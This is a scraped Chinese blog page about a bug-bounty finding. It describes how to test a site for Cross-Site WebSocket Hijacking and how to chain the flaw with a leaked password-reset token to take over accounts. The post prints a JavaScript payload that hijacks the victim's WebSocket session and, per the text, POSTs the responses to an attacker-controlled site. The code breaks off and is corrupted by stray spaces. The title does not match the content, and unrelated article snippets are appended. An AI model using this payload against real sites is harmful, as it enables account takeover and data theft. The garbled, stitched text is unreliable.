url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户
在一次漏洞悬赏活动中,我发现了一个使用WebSocket连接的应用,所以我检查了WebSocket URL,发现它很容易受到CSWH的攻击(WebSocket跨站劫持)
有关CSWH的更多详细信息,可以访问以下链接了解
https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html
首先,我们假设一个应用是通过以下URL建立websocket连接的 wss://website.com。关于验证URL是否存在CSWH漏洞可以遵循以下步骤:
- 在浏览器上打开Web应用并登录。
- 在新选项卡中输入http://websocket.org/echo.html,输入WebSocket URL并单击“连接”。
- 建立连接后,你必须能够从此页面向服务器发送数据帧。接着,使用burpsuite的proxy捕获websocket数据帧进行调试,多次发送,查看服务器如何响应。如果burp的回应和网页的回应一样,则表示目标很可能容易受到WebSocket跨站劫持的攻击
通过以上步骤,我确定应用存在CSWH漏洞。
一旦在新选项卡上建立了WebSocket连接,我就收到了下面的websocket响应
从上述响应中你可看到,参数“_forgotPasswordId”的值为“null”。
现在我需要“_forgotPasswordId”参数来发送恶意请求来重置密码。
我再次测试了Websocket连接,这次观察到了如下回应,它包含一个forgetPasswordID令牌
利用
现在准备CSWH漏洞的利用链,重置密码接管帐户。以下由HTML代码组成的payload会发送XHR请求,并把回应导向攻击者控制的站点。
Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST
url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户相关推荐
- url存在宽字节跨站漏洞_【XSS漏洞】XSS漏洞相关总结v1.0
点击上方"公众号" 可以订阅哦! Hello,各位小伙伴周五晚上好~ 终于到了XSS漏洞的完结篇啦~~ 感觉本公众号写的最多的就是XSS,现在可以告一段落了... 让我们来看看第一 ...
- url存在宽字节跨站漏洞_5分钟速览丨常见的Web安全漏洞及测试方法
中秋小长假 "余额"就剩半天了 尽管心里有太多不舍 也要调整自己 毕竟假期都是短暂的 工作才是职场人生的常态 为了尽快消除"假日综合症" e小安贴心送上小文一篇 ...
- java内存漏洞_处理Java程序中的内存漏洞
Java 程序中也有内存漏洞?当然有.与流行的观念相反,在 Java 编程中,内存治理仍然是需要考虑的问题.在本文中,您将了解到什么会导致内存漏洞以及何时应该关注这些漏洞.您还有机会实践一下在您自己的 ...
- ajax 跨域请求_什么是跨域问题?如何解决?
1. 概述 几个疑问: 什么是跨域? 如何判断是否产生「跨域」? 跨域,带来的问题? 跨域问题,解决思路? 2. 跨域:是什么 跨域的问题根源:浏览器的「同源策略」. 2.1. 同源策略 同源策略(S ...
- azure 免费帐户注册_如何使用模拟器模拟Azure SQL数据库存储帐户行为
azure 免费帐户注册 介绍 (Introduction) When you practice and play with the Azure Storage, you spent money be ...
- lastpass命令行工具_使用免费的便携式工具离线查看LastPass帐户中的密码
lastpass命令行工具 LastPass is an online password manager that allows you to securely store all your pass ...
- fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御
一.编辑器漏洞 1.编辑器 编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档. 编辑器通常分为两种情况: (1) 不需要后台验证,可以直接在前台访问且 ...
- wordpress漏洞_多个WordPress插件SQL注入漏洞分析
背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...
- rmi 反序列化漏洞_提醒:Apache Dubbo存在反序列化漏洞
背景: 近日监测到Apache Dubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行.Apache Dubbo是一款应用广泛的高性能轻量级的Java RPC分布式服务框 ...
最新文章
- Java类加载文章1(z)
- FFMpeg的基本用法
- python中的argparse包——用于解析命令行参数
- python123期末测试第十周答案_Python语言设计_章节测验,期末考试,慕课答案查询公众号...
- Linux配置启动挂载:fstab文件详解
- springboot(2.2.4)的默认日志框架logback换成log4j2
- CodeForces - 1491E Fib-tree(模拟)
- Python实现给指定的微信朋友发信息
- win7电脑删除文件特别慢怎么办
- php 读取或导出到Excel / CSV (附utf8、gbk 编码转换)
- (2)Linux进程调度器-CPU负载
- js 时间戮转换为日期格式
- stm32单片机的智能交通灯设计
- pocib模板流程图_各单据流程POCIB
- 解决linux下svn update 产生Node remains in conflict的问题
- mysql中getdate怎么用_SQL中 getdate() 用法
- 【docker详解02】-docker安装
- WhatsApp网页版登陆,WhatsApp官网入口
- python中if缩进规则_Python缩进与if语句 空格的魅力
- 解析压敏电阻与TVS管的性能对比,谁能更胜一筹?
热门文章
- AUTOSAR从入门到精通100讲(十八)-AUTOSAR操作系统OS
- 古老的spc也可以用机器学习(三)-支持向量机算法
- c语言打砖块游戏代码,打砖块游戏的源代码(请多指教)
- relative布局html,CSS的四种布局方式static/relative/fixed/absolute
- UTF-8和GBK有啥区别?
- java虚拟机编译_[四] java虚拟机JVM编译器编译代码简介 字节码指令实例 代码到底编译成了什么形式...
- python类继承中构造方法_第8.3节 Python类的__init__方法深入剖析:构造方法与继承详解...
- ie下按keydown事件会触发button
- 关于导入oracle10g的数据到sqlserver2005里的方案总结
- 洛谷 P1018乘积最大